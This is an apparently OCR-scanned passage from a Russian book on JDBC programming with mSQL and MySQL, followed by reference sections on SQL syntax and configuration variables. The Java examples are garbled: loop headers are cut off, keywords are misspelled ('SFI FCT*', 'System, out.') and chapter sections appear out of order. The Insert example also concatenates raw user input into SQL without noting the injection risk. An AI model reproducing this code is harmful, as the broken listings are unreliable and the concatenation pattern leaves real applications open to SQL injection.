    Динамический доступ к базе данных

    До сих пор мы имели дело с приложениями, в которых во время компиляции точно известно, что нужно будет делать. Если бы это был единственный тип поддержки, обеспечиваемый JDBC, никто не смог бы написать для Mysql и msql интерактивные инструменты командной строки, способные во время исполнения принимать команды SQL и выполнять их. Класс JDBC Statement поддерживает метод execute() для выполнения SQL-команд, которые могут быть запросами или обновлениями. Кроме того, экземпляры ResultSet обеспечивают предоставление о себе информации времени исполнения через интерфейс с именем ResultSetMetaData, доступ к которому осуществляется через вызов метода getMetaData() для ResultSet.

    Метаданные

    Термин метаданные звучит официозно, но на самом деле это не более чем дополнительные данные о некотором объекте, которые, если бы действительно хранились в объекте, просто зря тратили бы ресурсы. Например, для простых приложений не нужны имена колонок, связанных с результирующим набором ResultSet: программисту они, скорее всего, известны во время написания программы. Поэтому помеще

    ние этих дополнительных данных в класс ResultSet не рассматривается разработчиками JDBC как нечто существенное для функциональности ResultSet. Однако в некоторых случаях программирования баз данных i такие вещи, как имена колонок, очень важны, особенно при осуществлении динамического доступа к базам данных. Доступ к этим дополнительным данным - метаданным - разработчики JDBC обеспечили через интерфейс ResultSetMetaData. Этот класс позволяет узнать:

  • Число колонок в результирующем наборе.

  • Является ли NULL допустимым значением в колонке.

  • Метку, используемую для заголовка колонки.

  • Имя заданной колонки.

  • Таблицу, служащую источником данных для данной колонки.

  • Тип данных колонки.

    Другим примером класса, поставляемым вместе с драйвером mSQL-JDBC, является приложение Exec. Оно принимает любую команду SQL, задаваемую в командной строке, и выполняет ее. В примере 14-6 приводится соответствующий исходный код.


    Пример 14-6. Исходный код приложения Exec для выполнения динамического SQL

    import java.sql.*;

    public class Exec {

    public static void main(String args[]) {

    Connection con = null; String sql = "";

    for(int i=0; i
    sql = sql + args[i];

    if( i < args.length - 1 ) {

    sql = sql + " ";

    }

    }

    System, out. рrintln("Выполнение: " + sql);

    try {

    Class.forName("com.imaginary. sql.msql.MsqlDriver").newlnstance();

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    con = DriverManager.getConnection(url, "borg", "");

    Statement s = con.createStatement();

    if( s.execute(sql) ) {

    ResultSet r = s.getResultSet();

    ResultSetMetaData meta = r.getMetaData();

    int cols = meta.getColumnCount();

    int rownum = 0;

    while( r.next() ) { rownum++;

    System, out. println("Crpокa: " + rownum);

    for(int i=0; i
    System.out.print(meta.getColumnLabel(i+1) + ": ' + r.getObject(i+1) + ", ");

    }

    System.out.println("");

    }

    }

    else

    {

    System.out.println(s.getUpdateCount() + " строк обработано.");

    }

    s.close();

    con.close();

    }

    catch( Exception,e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close();

    }

    catch( SQLException e ) { }

    }

    }

    }

    }

    Для каждого результирующего набора обеспечивается получение экземпляра ResultSetMetaData с помощью метода getMetaData(). При динамическом доступе к базе данных необходимо узнать, сколько колонок в результирующем наборе, чтобы с уверенностью извлечь все колонки и их имена для вывода пользователю. Метаданные нашего результирующего набора обеспечивают получение всех этих данных с помощью методов getColumnCount() и getColumnLabel().

    Обработка динамического SQL

    В примере 14-6 введено понятие динамического вызова SQL. Поскольку мы не знаем, будет это запрос на получение данных или обновление, нужно передать вызов SQL через метод execute (). Этот метод возвращает true, если команда возвратила результирующий набор, и false в противном случае. В нашем примере, если возвращается true, то приложение получает возвращаемый ResultSet через вызов метода getResultSet(). Затем приложение может перейти к обычной обработке результирующего набора. Если, напротив, команда произвела какую-либо модификацию базы данных, можно вызвать метод getUpdateCu-unt() для подсчета числа строк, модифицированных командой.



    К несчастью, каждый API позволяет

    Java u JDBC

    В главе 13 "Си C++", мы познакомили вас с С API для MySQL и mSQL. К несчастью, каждый API позволяет писать программы только для той базы данных, которую он поддерживает. Если вы собираетесь переносить приложение между MySQL и mSQL или, того хуже, хотите, чтобы оно работало на Oracle, Sybase или с любой другой СУБД, вам необходимо переписать свой код так, чтобы он использовал фирменный API этого ядра. Однако Java-программисты по большей части избавлены от проблем переносимости на другую базу данных. У них есть единый API, Java DataBase Connectivity API (JDBC), обеспечивающий их унифицированным интерфейсом ко всем SQL-базам данных.

    Поскольку JDBC является единым интерфейсом ко всем базам данных, достаточно изучить его, чтобы писать приложения, которые будут работать как с MySQL, так и с mSQL. На самом деле, если должным образом использовать JDBC, то написанные вами на Java приложения смогут работать с любой СУБД. Если у вас есть доступ к другим базам данных, кроме MySQL и mSQL, можете проверить верность этого утверждения, запустив примеры данной главы с другой базой данных.

    Для чтения этой главы предполагается знание основ языка программирования Java и лежащих в его основе концепций. Если такой подготовки у вас нет, настоятельно рекомендуем посмотреть "Exploring Java" (O'Reilly & Associates, Inc.). Узнать более подробно о том, как создавать многоуровневые приложения баз данных, о чем мы рассказывали в главе 8 "Архитектуры приложений баз данных", можно из книги "Database Programming with JDBC and Java" (O'Reilly & Associates, Inc.).



    Простой доступ к базе данных

    В примере Connect делалось не много. В нем было просто показано, как соединиться с базой данных. В соединении с базой данных нет пользы, пока вы не начинаете действительно обмениваться с ней данными. Простейшие виды доступа к базе данных - команды SELECT, INSERT, UPDATE и DELETE. В JDBC API вы используете экземпляр Connection для создания экземпляров класса Statement. Класс Statement представляет SQL-команду любого типа. В примере 14-4 показано, как вставить строку в базу данных, используя Statement.

    Пример 14-4. Вставка строки в mSQL с помощью объекта JDBC Statement

    import Java, sql.*;
    import Java, util.*;

    public class Insert {

    // Делаем вставку в таблицу, имеющую две колонки: test_id (int)

    // и test_val (char(55))

    // args[0] - это test_id, a args[1] - test_val

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");
    Statement stmt;

    Class.forName(bundle.getString("Driver"));

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    stmt = con.createStatement();

    stmt.executeUpdate("INSERT INTO test (test_id, test_val) " +

    "VALUES(" + args[0] + ", '," + args[1] + ")");
    }
    catch( SQLException e )
    {

    e. printStackTrace();
    }
    finally
    {

    if( con != null )
    {

    try { con.close();
    }
    catch( Exception e ) { }

    }
    }
    }
    }

    В реальном приложении мы бы, конечно, проверили, что пользователь ввел значение типа INT для test_id, что оно уникально, и что длина введенного значения test_val не превышает 55 символов. Тем не менее пример показывает, как просто осуществлять вставку данных. Метод createStatement() делает то, о чем говорит его название: создает пустую SQL-команду, связанную с рассматриваемым соединением - объектом Connection. Затем метод executeUpdate() передает заданную строку SQL базе данных для выполнения. Как подсказывает название, executeUp-date() ожидает команды SQL, которая некоторым образом модифицирует базу данных. Вы можете использовать ее, чтобы вставлять новые строки, как показано выше, либо удалять строки, обновлять строки, создавать новые таблицы или производить любые другие изменения в базе данных.


    Запросы выполнять немного сложнее, чем обновления, поскольку они возвращают информацию из базы данных в виде объекта ResultSet. ResultSet является интерфейсом, представляющим 0 или более строк, являющихся результатом запроса, обращенного к базе данных. В классе JDBC Statement имеется метод executeQuery(), работающий подобно executeUpdate(), за исключением того, что он возвращает из базы данных ResultSet. Метод executeQuery() возвращает ровно один ResultSet, тем не менее имейте в виду, что JDBC поддерживает извлечение множественных результирующих наборов для тех баз данных, которые это позволяют. Ни MySQL, ни mSQL не поддерживают множественные результирующие наборы. Однако важно помнить о такой возможности, когда вы изучаете код для работы с иным ядром базы данных, написанный кем-то другим. В примере 14-5 показан простой запрос. На рис. 14-2 изображена модель данных з таблице test.

    Пример 14-5. Простой запрос

    import Java, sql.*;

    import Java, util.*;

    public class Select {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle =ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL"); Statement stmt;

    ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager,getConnection(url, "borg", "");

    stmt = con.createStatement();

    rs = stmt .executeQuery("SFI FCT* from test ORDER BY test_id");

    System, out.print In("Полученные результаты:");

    while(rs. next()) {

    int a= rs.getInt("test_icT);

    String str = rs.getString("test_val");

    System.out.print(" ключ= " + a);

    System.out.print(" строка= " + str);

    System.out.print("\n");

    }

    stmt.close();

    }

    catch( SQLException e )

    {

    e. printStackTrace();

    }

    finally {

    if( con != null ) {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    Приложение Select выполняет запрос и затем проходит по всем строкам ResultSet с помощью метода next(). До первого обращения к next() ResultSet не указывает ни на какую строку. Каждый вызов next () настраивает ResultSet на следующую строку. JDBC 2:0 вводит понятие результирующего набора с перемещением (scrollable). Если ваш экземпляр ResultSet позволяет перемещение, можно также обращаться к методу previous() для перемещения по результирующему набору в обратном направлении. Обработка строк заканчивается, когда next () возвращает false.


    Простой доступ к базе данных

    Рис. 14-2. Таблица test из учебной базы данных

    Работа со строкой означает получение значений для каждой колонки. Каково бы ни было значение в базе данных, можно использовать методы ResultSet для получения значения колонки с любым типом данных Java, который вас устраивает. В приложении Select вызов метода gе tInt() возвращал колонку test_id как int, а вызов getString() возвращал значение колонки test_val как String. Эти методы получения значения колонки принимают либо номер колонки, начиная с 1, либо ее имя. Следует, однако, всеми силами избегать извлечения значений с помощью имен колонок, поскольку такой способ значительно медленнее, чем получение их с помощью номеров колонок.

    Обработка ошибок и освобождение ресурсов

    Все методы JDBC могут возбуждать SQLException или один из подклассов этого класса, если что-то происходит при обращении к базе данных. Ваш код должен уметь перехватывать исключительную ситуацию, обрабатывать ее и освобождать все размещенные в памяти ресурсы базы данных. Все перечисленные до сих пор классы JDBC имеют метод close(). Однако на практике вы должны обеспечить закрытие только тех объектов, которые вызваны процессами, продолжающими оставаться открытыми. В приведенных до сих пор примерах практически требовалось закрыть только соединение с базой данных. При закрытии соединения автоматически закрываются все связанные с ним команды и результирующие наборы. Однако если вы намерены сохранить соединение открытым в течение некоторого времени, будет правильным поспешить закрыть все объекты statement, которые вы создали с использованием этого соединения, когда они вам больше не нужны. В примерах JDBC, которые вы видели, это освобождение ресурсов производится в предложении finally. Это делается для того, чтобы обеспечить закрытие соединения независимо от того, что произойдет.



    Серверное приложение гостевой книги

    Вы, вероятно, немало слышали об апплетах Java. Однако в главе 8 мы говорили о том, что доступ к базам данных на стороне клиента является плохой идеей. В примеры к этой книге мы включили реальное приложение, использующее сведения о JDBC, изложенные в этой главе, для создания класса Java на стороне сервера. Такие приложения называются сервлеты (servlet). Хотя серверные приложения сами по себе не являются частью трехзвенной архитектуры, обсуждавшейся нами в главе 8, данный пример хорошо иллюстрирует возможности использования JDBC. Это серверное приложение является Web-страницей, позволяющей посетителям вашего сайта оставить свое мнение о нем. Оставленные комментарии могут просматриваться другими посетителями. Все, что вам нужно знать о серверных приложениях для понимания этого примера, это то, что метод doPost() обрабатывает события HTTP POST, a de-Get () обрабатывает события HTTP GET.

    В этом приложении две части: часть get и часть post. В обеих частях производится вызов метода printComments() для показа комментариев, оставленных в гостевой книге. В этом методе мы находим нечто, не встречавшееся нам в простых предыдущих примерах: вызов метода wasNull() после каждого извлечения значения колонки. Как и можно предположить из названия, wasNull() возвращает t rue, если последнее извлеченное значение было NULL в смысле SQL. В вызовах, возвращающих объект Java, значение обычно будет NULL, если при чтении из базы данных был получен NULL. Использование wasNull() в таких случаях может показаться излишним. Однако для простых типов данных выборка может возвращать допустимое значение. Метод wasNull() позволяет узнать, не было ли в базе данных значения NULL. Например, NULL в колонке целого типа возвращает 0 при вызове getlnt(). Чтобы узнать, что было в колонке - 0 или NULL, нужно вызвать wasNull().

    Часть III.

    Справочник

    В этой части приводится справочная информация по всем API и утилитам, упоминаемым в книге.



    MSQLSQL

    CREATE

    CREATE TABLE name field_name field_type, [field2 type2, ...]
    CREATE SEQUENCE ON table [STEP value] [VALUE value]
    CREATE INDEX name ON table ( column, ...)

    Создает новые элементы базы данных (или полностью новые базы). Предложение используется для создания БД, таблиц, индексов и счетчиков.

    CREATE SEQUENCE создает счетчик на таблицу. Счетчик - это простое значение, связанное с таблицей, за которым следит сервер mSQL. Наиболее часто счетчик используют для создания уникальных идентификаторов в таблицах. При прочтении значение счетчика каждый раз инкрементируется. Спецификатор STEP указывает на какое значение каждый раз инкрементируется счетчик. Спецификатор VALUE задает начальное значение счетчика.

    Оператор CREATE INDEX определяет индекс для таблицы. Система mSQL поддерживает индексы, содержащие более одного поля. Вы должны дать индексу имя, необязательно осмысленное, поскольку конечным пользователям редко необходим доступ к индексам.

    CREATE TABLE определяет структуру таблицы в базе данных. Этим оператором создаются все таблицы mSQL. Предложение состоит из имени таблицы, за которым идет любое количество определений полей. Синтаксис определения полей включает в себя имя поля, затем его тип, за которым следует любой модификатор (например: name char(30) not null). mSQL поддерживает следующие типы данных:

    CHAR (length)

    Текстовое значение фиксированной длины. Никакое значение не может быть больше заданной длины.

    DATE

    Стандартный тип даты.

    INT

    Стандартное четырехбайтовое целое в диапазоне от -2147483646 до 2147483647.

    MONEY

    Денежный тип, подходящий для аккуратного хранения денежных значений. Тип позволяет хранить десятичные значения (как 19.99) без необходимости использовать тип числа с плавающей запятой.

    REAL

    Стандартное восьмибайтовое число с плавающей запятой. Минимальные ненулевые значения +/-4.94Е-324 и максимальные значения +/- 1.79Е+308.

    ТЕХТ( length)

    Текстовое значение переменной длины. Заданная длина - это максимальное значение для большинства данных, однако могут быть введены и более длинные данные.


    TIME

    Стандартный тип времени.

    UINT

    Стандартное четырехбайтовое беззнаковое целое. Диапазон от 0 до 4294967295.

    В дополнение к основным типам могут быть использованы несколько спецификаторов для уточнения свойств типа:

    length

    Это является максимальной длиной символьного типа. Для типа CHAR это абсолютный максимум, для типа TEXT это приблизительный максимум, применяющийся только к большинству данных. Более длинные данные могут быть введены в поле TEXT, однако это замедлит операции с таблицей.

    NOT NULL

    Указывает, что поле не может содержать нулевое значение. Попытка ввести в это поле такое значение вызовет ошибку.

    Примеры

    # Создать 'простую таблицу

    CREATE TABLE emp_data ( id INT, name CHAR(50) )

    # Добавить счетчик к таблице 'checks' с начальным значением '1000' и # шагом инкрементации по умолчанию (1)

    CREATE SEQUENCE ON checks VALUE 1000

    # Создать индекс для таблицы 'music', включающий в себя

    # поля 'artist','publisher' и 'title'.

    CREATE INDEX idxl O.N music ( artist, publisher, title )

    DELETE

    DELETE FROM table [WHERE clause]

    Удаляет запись из таблицы. Если применяется без предложения WHERE, будет полностью удалена вся таблица, а затем создана новая пустая

    таблица. С использованием WHERE будут удалены записи, отвечающие условиям выражения.

    Примеры

    # Стереть все данные из таблицы 'olddata'(no не саму таблицу). DELETE FROM olddata

    # Стереть все записи в таблице 'sales', в которых поле 'year' равно '1995', DELETE FROM sales WHERE year=1995

    DROP

    DROP INDEX name DROP TABLE name DROP SEQUENCE FROM table

    Полностью удаляет таблицу, индекс или счетчик из системы mSQL.

    MSQLSQLDROP - это, возможно, самое опасное из выражений SQL. Если вы имеете право на выполнение команд DROP, вы можете полностью стереть таблицу или даже целую базу данных. Это произойдет без предупреждения или запроса на подтверждение. Единственный способ отменить DROP - восстановление базы данных из резервной копии. Поэтому следует запомнить два правиле: (1) всегда сохраняйте резервную копию вашей базы (backup); (2) не используйте DROP до тех пор, пока вы полностью не уверены в том, что это необходимо.


    Примеры

    # Удалить таблицу 'oh_no'. DROP TABLE oh_no

    # Удалить индекс с именем 'my_index' DROP INDEX my_index

    # Стереть счетчик для таблицы 'counter'. Другой счетчик может быть

    # создан в любое время с помощью команды 'CREATE SEQUENCE'.

    DROP SEQUENCE FROM counter

    INSERT

    INSERT INTO table [ (column, ...) ] VALUES ( values )

    Записывает данные в таблицу. Этот оператор вставит указанные значения в заданные столбцы. Поля, значения которых не указаны, получат значение NULL. Если вы не зададите список столбцов, число указанных значений должно точно совпадать с числом столбцов в таблице.

    Примеры

    # Добавить запись в таблицу'people'.

    INSERT INTO people ( name, rank, serial_number )

    VALUES ( 'Bob Smith', 'Captain', 12345 )

    SELECT

    SELECT [DISTINCT] columns FROM table [clause]

    Выбирает данные из таблицы. Оператор SELECT является основным методом чтения данных из таблиц баз данных.

    Если вы укажете несколько таблиц, mSQL автоматически объединит таблицы для сравнения записей.

    Если указано ключевое слово DISTINCT, будет показана только одна запись из каждой группы одинаковых записей возвращаемого набора.

    Имена столбцов могут быть указаны как column или как table, column . Длинная форма необходима только для того, чтобы отличать столбцы с одинаковыми именами, но ее можно использовать в любое время (например, SELECT name FROM people; SELECT people, name FROM people ).

    Список таблиц для соединения указывается как Table1, Table2, Tab-1еЗ, .... Таблицы будут соединены таким образом, как mSQL сочтет наиболее эффективным. Именам таблиц могут быть присвоены псевдонимы (например, SELECT t1.name, t2.address FROM Iong_table_name=t1, Ionger_table_name=t2 ). Если не указано выражение clause, SELECT вернет все данные из выбранной таблицы (или таблиц).

    Выражение отбора записей может содержать следующие операторы:

    WHERE

    Конструкция WHERE является основным способом поиска данных в SQL. В конструкции сравниваются два и более значений. Можно использовать значения с именами (такие как имена столбцов и псевдонимы), числовые константы и строки. Поддерживаются следующие операторы:


    AND

    Выполняет логическое И ( вернет 0, если хоть один из аргументов равен 0, иначе вернет 1).

    OR

    Выполняет логическое ИЛИ (возвращает 1, если любой из аргументов не равен 0, иначе возвращает 0).

    ()

    Скобки используются для группировки операторов, чтобы указать старшинство.

    =

    Возвращает 1, если два значения совпадают, иначе вернет 0. mSQL автоматически преобразует типы при сравнении значений.

    <>

    Возвращает 1, если два значения не совпадают, иначе возвращает 0.

    <=

    Возвращает 1, если левое значение меньше или равно правому, иначе возвращает 0.

    <

    Возвращает 1, если левое значение меньше, чем значение справа, иначе возвращает 0.

    >=

    Возвращает 1, если левое значение больше или равно правому, иначе возвращает 0.

    >

    Возвращает 1, если левое значение больше правого, иначе возвращает 0.

    ORDER BY column [DESC][, column2 [DESC],...]

    Сортирует возвращаемые данные по заданному столбцу (или столбцам). Если указать DESC, данные будут отсортированы в порядке убывания, иначе будет использована сортировка по возрастанию (например, SELECT name, age FROM people ORDER BY age DESC ).

    value1 LIKE value2

    Сравнивает valuel и value2 и возвращает 1, если они совпадают. Значение справа может содержать знак подстановки " % ", который заменяет любое количество символов (в том числе и отсутствие символа), и знак '_', замещающий в точности один символ. Это, возможно, наиболее употребительное в SQL сравнение. Чаще всего используется сравнение поля с некоторой строкой, содержащей знак подстановки (например, SELECT name FROM people WHERE name LIKE 'B%' ).

    value1 RLIKE value2

    Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и возвращает 1, если они совпадают. Значение справа может содержать полные подстановочные выражения и конструкции Unix (например, SELECT name FROM people WHERE name RLIKE '^В. *').

    value1 CLIKE value2

    Сравнивает value1 с value2, используя нечувствительную к регистру версию оператора LIKE (например, SELECT name FROM people WHERE name CLIKE 'b%' ).

    Предложение WHERE возвращает все записи, для которых значение заданного выражения не равно 0 или NULL. Таким образом, SELECT age FROM people WHERE age>10 вернет только те записи, где 'ages' больше 10.

    Примеры

    # Найти все имена (пате)в таблице 'people', у которых поле 'state' равно 'МI'. SELECT name FROM people WHERE state='MI' # Показать все данные из таблицы 'mytable'. SELECT * FROM mytable

    UPDATE

    UPDATE table SET column=value, . . . [WHERE clause]

    Изменяет данные в таблице. Используется для обновления существующих данных, не изменяя саму таблицу.

    Пример

    # Изменить имя 'John Deo' на 'John Doe' во всей таблице 'people'. UPDATE people SET name='John Doe' WHERE name='John Deo'

    MySQL SQL

    ALTER/MODIFY

    ALTER [IGNORE] TABLE table ADD [COLUMN] create_clause

    ALTER [IGNORE] TABLE table ADD INDEX [name] (column, . . .)

    ALTER [IGNORE] TABLE table ADD UNIQUE [name] (column, . . .)

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column SET DEFAULT value

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column DROP DEFAULT

    ALTER [IGNORE] TABLE table CHANGE [COLUMN] column create..clause

    ALTER [IGNORE] TABLE table DROP [COLUMN] column

    ALTER [IGNORE] TABLE table DROP FOREIGN KEY key

    ALTER [IGNORE] TABLE table DROP INDEX key

    ALTER [IGNORE] TABLE table DROP PRIMARY KEY

    ALTER [IGNORE] TABLE table MODIFY [COLUMN] create_clause

    ALTER [IGNORE] TABLE table RENAME [AS] new_name

    Оператор ALTER охватывает широкий набор действий, которые изменяют структуру таблицы. Этот оператор используется для добавления, изменения или удаления столбцов существующей таблицы, а также для удаления индексов. Несколько операторов ALTER могут быть объединены в одно предложение с помощью запятых:

    ALTER TABLE mytable DROP myoldcolumn, ADD mynewcolumn INT

    Для модификации таблицы MySQL создает копию таблицы и изменяет ее, выполняя все модифицирующие запросы. Когда все изменения сделаны, старая таблица удаляется, а ее место занимает новая таблица. В этой точке выполняются все поставленные в очередь запросы. В целях безопасности, если какой-либо из запросов создает дублирующие ключи, которые должны быть уникальными, предложение ALTER откатывается и отменяется. Если в предложении присутствует ключевое слово IGNORE, дублированные уникальные ключи игнорируются, и запрос ALTER исполняется как обычно. Имейте в виду, что использование IGNORE для активной таблицы с уникальными ключами может привести к искажению и порче таблицы.

    Как указывалось выше, есть несколько разных, зачастую противоположных действий, выполняемых ALTER:

    ADD [COLUMN] create,clause

    Добавляет новый столбец в таблицу. Выражение create_clause имеет тот же вид, что и используемое в операторе CREATE (см. ниже). Таблица должна существовать и не иметь столбца с тем же именем, что у добавляемого столбца. (Ключевое слово COLUMN необязательно и не имеет эффекта.)


    ADD INDEX [ name] (column , ...)

    Системные переменные MySQL и mSQL

    Для настройки работы MySQL и mSQL могут использоваться некоторые переменные. Многие из них являются переменными окружения, которые наследуются от оболочки пользователя, в то время как другие устанавливаются с помощью командной строки и файлов конфигурации.



    Системные переменные mSQL

    До появления mSQL 2 сконфигурировать систему после инсталляции можно было только через несколько глобальных переменных окружения. Однако mSQL 2.0 использует файл конфигурации, позволяющий производить установку параметров mSQL с гораздо большей гибкостью. Эта часть описывает как переменные окружения, так и специальный файл конфигурации mSQL 2.

    Переменные окружения

    Следующие переменные являются специальными переменными программ mSQL. Они могут быть определены в текущей оболочке или являться частью сценария оболочки.

    MSQL_DEBUG

    Отладочный уровень программы. Число от 0 (нет отладочной информации) до 3 (максимум отладочной информации).

    MSQL_CONF_FILE

    Путь к файлу конфигурации mSQL.

    Кроме того, программы mSQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix:

    USER

    Имя текущего пользователя.

    EDITOR
    VISUAL

    Путь к заданному по умолчанию редактору. Программа msql будет использовать его для редактирования SQL операторов, если ей встретится команда \е.

    Файл конфигурации mSQL

    Файл конфигурации mSQL содержит значения некоторых переменных, которые влияют на работу программ mSQL. По умолчанию он находится в /usr/local/Hughes/msql.conf. Можно изменить это значение в переменной окружения MSQL_CONF_FILE. Файл конфигурации начинается с имени группы, за которым идут переменные этой группы. Ниже пример файла msql.conf:

    [general]

    Inst_Dir = /usr/local/Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I/msql2d.pid

    TCP_Port =1114

    UNIX_Port = %I/msql2.sock

    [system]

    Msync_Timer = 30 Host_Lookup = True Read_0nly = False

    [w3-msql]

    Auth_Host = NULL Footer = True Force_Private = False

    Секция general влияет на работу всех программ mSQL, сервер баз данных msqld использует секцию system, и секция w3-msql используется системой W3-mSQL, обеспечивающей взаимодействие базы данных с WWW. Когда mSQL читает файлы конфигурации, он заменяет символы %1 на путь к установленной копии mSQL на сервере. Ниже представлены возможные переменные для каждой секции.


    general

    Admin_User

    Имя учетной записи, которой позволено вносить изменения в базу данных mSQL в целом. По умолчанию это root.

    Inst_Dir

    Расположение mSQL. Каждый раз, когда в файле конфигурации встречается символы %1, они заменяются значением данной переменной. Значение по умолчанию - /usr/local/Hughes.

    mSQL_User

    Имя учетной записи, под которой работает демон сервера mSQL. По умолчанию это msql.

    Pid_File

    Расположение файла, содержащего ID процесса (PID) работающего демона mSQL. По умолчанию - %I/msql2d. pid.

    TCP_Port

    В случае программы клиента это номер TCP-порта, используемого для подключения к серверу, для msql2d - это порт, прослушивающий входящие подключения. Значение по умолчанию - 1114.

    UNIX_Port

    Имя файла сокета Unix, используемого для подключения к локальному серверу mSQL (в случае клиентских приложений) либо для обработки локальных подключений (в случае с msql2d). Значение по умолчанию - %I/msql2. sock.

    system

    Host_Lookup

    Если установлено значение 'True', все клиентские подключения должны осуществляться с машин с действующими и проверяемыми именами хостов.

    Msync_timer

    Интервал (в секундах) синхронизации используемых данных, находящихся в RAM, с данными на диске.

    Read_Only

    Если значение этой переменной установлено в 'True', не допускается изменение базы данных. Разрешены только запросы SELECT.

    w3-msql

    Auth_Host

    Имя хоста, содержащего сервер БД с таблицами W3-Auth. Если значение установлено в NULL либо не указано, используется локальный сервер.

    Footer

    Если установлено значение 'True', к каждой странице будет применяться стандартный нижний колонтитул Hughes Technologies.

    Force_Private

    При значении 'True' через W3-mSQL может быть получен доступ только к защищенным W3-Auth страницам. В результате не допускается обработка обычных HTML-файлов через W3-mSQL.

    Системные переменные MySQL

    Переменные окружения MySQL

    Следующие переменные являются специальными переменными MySQL. Они могут быть определены в текущей оболочке или задаваться как часть сценария оболочки. Чтобы установить переменную для демона MySQL (mysqld), определите переменную в используемом для запуска демона сценарии safe_mysqld или определите значения переменных в файле конфигурации MySQL (мы расскажем о нем дальше в этой главе).

    MY_BASEDIR
    MY_BASEDIR_VERSION

    Корневой каталог, содержащий подкаталоги 'bin', 'var' и 'libexec' программы и данные MySQL. Если этой переменной не существует, используется значение по умолчанию (обычно записанное в MySQL как /usr/local). Эти настройки влияют только на программу mysqld.

    MYSQL_DEBUG

    Уровень отладки программы (отладочный уровень). Эта переменная может быть использована с любой программой MySQL. Отладочная библиотека MySQL имеет множество настроек. Список всех доступных опций находится по адресу: http://www.turbolift.com/ туsql/appendixC.html. Самый обычный набор параметров - d: t: о, / tmp/debugfile.

    MYSQL_HOST

    Имя хоста, используемое для связи с удаленным сервером MySQL. Опция может быть использована с любой из клиентских программ MySQL (mysql, mysqlshow, mysqladmin и т. д.).

    MYSQL_PWD

    Пароль, используемый для связи с сервером MySQL. Переменная может быть использована с любой из клиентских программ MySQL.

    Системные переменные MySQLБудьте внимательны при вводе ваших паролей. Обычно при использовании переменных окружения их значение устанавливают в скриптах. Разумеется, использование переменной MYSQL_PWD в скрипте сделает ваш пароль доступным для всех, кто сумеет запустить этот скрипт. Даже установка этой переменной вручную через командную строку делает ее доступной суперпользователю и всем тем, кто может исследовать содержимое системной памяти.

    MYSQL_TCP_PORT

    При использовании вкупе с клиентской программой это будет TCP-порт на удаленной машине, предназначенной для связи с сервером MySQL. Когда используется с программой mysqld, это - номер TCP-порта, прослушивающего входящие соединения.


    MYSQL_UNIX_PORT

    При использовании с клиентской программой - это файл сокета Unix, используемый для связи с сервером MySQL. При использовании с программой mysqld - файл сокета Unix для локальных подключений.

    Кроме того, программы MySQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix.

    EDITOR VISUAL

    Путь к заданному по умолчанию редактору. Программа mysql будет использовать его для редактирования SQL-операторов, если ей встретится команда edit или \е.

    HOME

    Домашний каталог текущего пользователя. LOGIN LOGNAME USER

    Имя текущего пользователя.

    PATH

    Список каталогов, используемых при поиске программ.

    POSIXLY_CORRECT

    Если эта переменная определена, не происходит никакой обработки опций программной строки. В противном случае параметры программной стоки переупорядочиваются таким образом, чтобы сделать возможным использование расширенных опций. Эта переменная может использоваться с любой программой MySQL.

    ТМР TMPDIR

    Каталог, в котором сохраняются временные файлы. Если эта переменная не определена, используется '/tmp '.

    TZ

    Часовой пояс локальной машины.

    UMASK

    Маска, используемая при создании новых файлов.

    Переменные командной строки

    Данные параметры определяются через опции командной строки -0 или -set-variable, которые доступны в большинстве программ MySQL.

    back_log

    Число подключений TCP, которые могут быть поставлены в очередь за один раз. Значение по умолчанию - 5. Эта опция доступна только для mysqld.

    connect _timeout

    Время (в секундах), в течение которого сервер mysqld ожидает пакет подключения, прежде чем ответить сообщением об ошибке соединения (bad handshake).

    decode-bits

    Число бит, используемое для генерирования некоторых внутренних таблиц. Число должно находиться в диапазоне от 4 до 9 (между 4 и 6 в 16-разрядных операционных системах). Значение по умолчанию - 9. Эта опция доступна только для isamchk. Используйте ее лишь при условии, что вы хорошо понимаете структуру таблицы ISAM.


    delayed_insert_limit

    Заставляет обработчик INSERT DELAYED проверять наличие команд SELECT, задержанных при вставке числа записей, указанного в delayed _insert_limit. Если таковые есть, обработчик позволяет выполнить эти команды перед продолжением работы.

    delay ed_insert_timeout

    Как долго поток INSERT DELAYED должен ожидать операцию INSERT перед завершением.

    delayed_queue_size

    Размер очереди (в записях) для обработки INSERT DELAYED. Если очередь переполняется, все клиенты, выполнившие INSERT DECAYED, снова будут ждать, пока появится место в очереди.

    dritebuffer

    Размер буфера, используемый для хранения исходящих данных. Значение по умолчанию - 260 Кбайт. Эта переменная доступна только для isamchk.

    flush_time

    Если переменная определена, все таблицы закрываются каждые flush_time секунд, для того чтобы освободить ресурсы и синхронизировать изменения на диск.

    join_buffer

    Размер буфера при выполнении соединения таблиц. Увеличение параметра может повысить производительность запросов, использующих соединение таблиц. Значение по умолчанию — 130 Кбайт. Эта опция доступна только для mysqld.

    key_buffer_size

    Размер буфера, выделенного для хранения ключей (индексов), к которым недавно осуществлялся доступ. Увеличение этого значения может привести к увеличению скорости работы запросов, осуществляющих повторное использование одних и тех же индексов. Эта опция доступна только для isamchk (где значение по умолчанию равно 0.5 Мбайт) и mysqld (значение по умолчанию 1 Мбайт).

    long_query_time

    Если значение установлено, то slow_queries увеличивается всякий раз, когда запрос занимает больше времени, чем определено в переменной long_query_time (в секундах).

    max_allowed_packet

    Максимальный размер буфера, используемого для хранения входящих данных. Каждое клиентское подключение имеет собственный буфер. Значение по умолчанию 64 Кбайт. Опция доступна только для mysqld.

    max_connect_errors

    Если значение установлено, сервер блокирует дальнейшие подключения с удаленного хоста, когда количество прерванных подключений с удаленного хоста превышает max_connect_errors. Возможно разблокирование хоста с помощью команды FLUSH HOSTS.


